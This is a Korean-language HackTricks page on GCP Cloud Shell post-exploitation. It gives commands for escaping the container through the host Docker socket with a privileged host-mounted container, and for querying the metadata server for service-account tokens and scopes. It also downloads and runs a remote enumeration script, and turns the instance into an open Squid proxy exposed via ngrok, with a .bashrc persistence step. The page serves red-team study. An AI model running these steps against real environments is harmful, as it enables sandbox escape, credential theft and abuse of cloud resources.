GCP - Cloud Shell Post Exploitation

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

클라우드 쉘

클라우드 쉘에 대한 자세한 정보는 다음을 확인하세요:

pageGCP - Cloud Shell Enum

컨테이너 탈출

Google Cloud Shell이 컨테이너 내에서 실행되는 것에 유의하세요. 호스트로 쉽게 탈출할 수 있습니다. 다음을 수행하세요:

sudo docker -H unix:///google/host/var/run/docker.sock pull alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest
sudo docker -H unix:///google/host/var/run/docker.sock start escaper
sudo docker -H unix:///google/host/var/run/docker.sock exec -it escaper /bin/sh

이것은 구글에 의해 취약점으로 간주되지 않지만, 해당 환경에서 무슨 일이 일어나고 있는지 더 넓은 시야를 제공합니다.

또한, 호스트에서 서비스 계정 토큰을 찾을 수 있다는 것에 주목하세요:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"
default/
vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/

다음과 같은 범위로:

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only
https://www.googleapis.com/auth/logging.write
https://www.googleapis.com/auth/monitoring.write

LinPEAS를 사용하여 메타데이터 열거하기:

cd /tmp
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
sh linpeas.sh -o cloud

https://github.com/carlospolop/bf_my_gcp_permissions를 사용하여 서비스 계정 토큰으로 권한이 발견되지 않았습니다...

프록시로 사용하기

Google Cloud Shell 인스턴스를 프록시로 사용하려면 다음 명령을 실행하거나 (.bashrc 파일에 삽입)해야합니다:

sudo apt install -y squid

알려드리기 위해 Squid는 HTTP 프록시 서버입니다. 다음 설정을 사용하여 squid.conf 파일을 생성하세요:

http_port 3128
cache_dir /var/cache/squid 100 16 256
acl all src 0.0.0.0/0
http_access allow all

squid.conf 파일을 /etc/squid로 복사합니다.

sudo cp squid.conf /etc/squid

마지막으로 squid 서비스를 실행합니다:

sudo service squid start

ngrok을 사용하여 프록시를 외부에서 사용할 수 있도록 설정합니다:

ngrok http 8080

ngrok을 사용하여 로컬 포트 8080에 대한 터널을 생성합니다. 이렇게 하면 외부에서 해당 포트에 액세스할 수 있습니다.

./ngrok tcp 3128

실행 후 tcp:// URL을 복사합니다. 브라우저에서 프록시를 실행하려면 tcp:// 부분과 포트를 제거하고 포트를 브라우저 프록시 설정의 포트 필드에 넣는 것이 좋습니다 (squid는 HTTP 프록시 서버입니다).

시작 시 더 편리하게 사용하기 위해 .bashrc 파일에 다음 줄을 추가해야 합니다:

sudo apt install -y squid
sudo cp squid.conf /etc/squid/
sudo service squid start
cd ngrok;./ngrok tcp 3128

지침은 https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key에서 복사되었습니다. 다른 미친 아이디어를 확인하여 Cloud Shell에서 모든 종류의 소프트웨어(데이터베이스 및 심지어 Windows)를 실행하는 방법을 알아보세요.

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

最終更新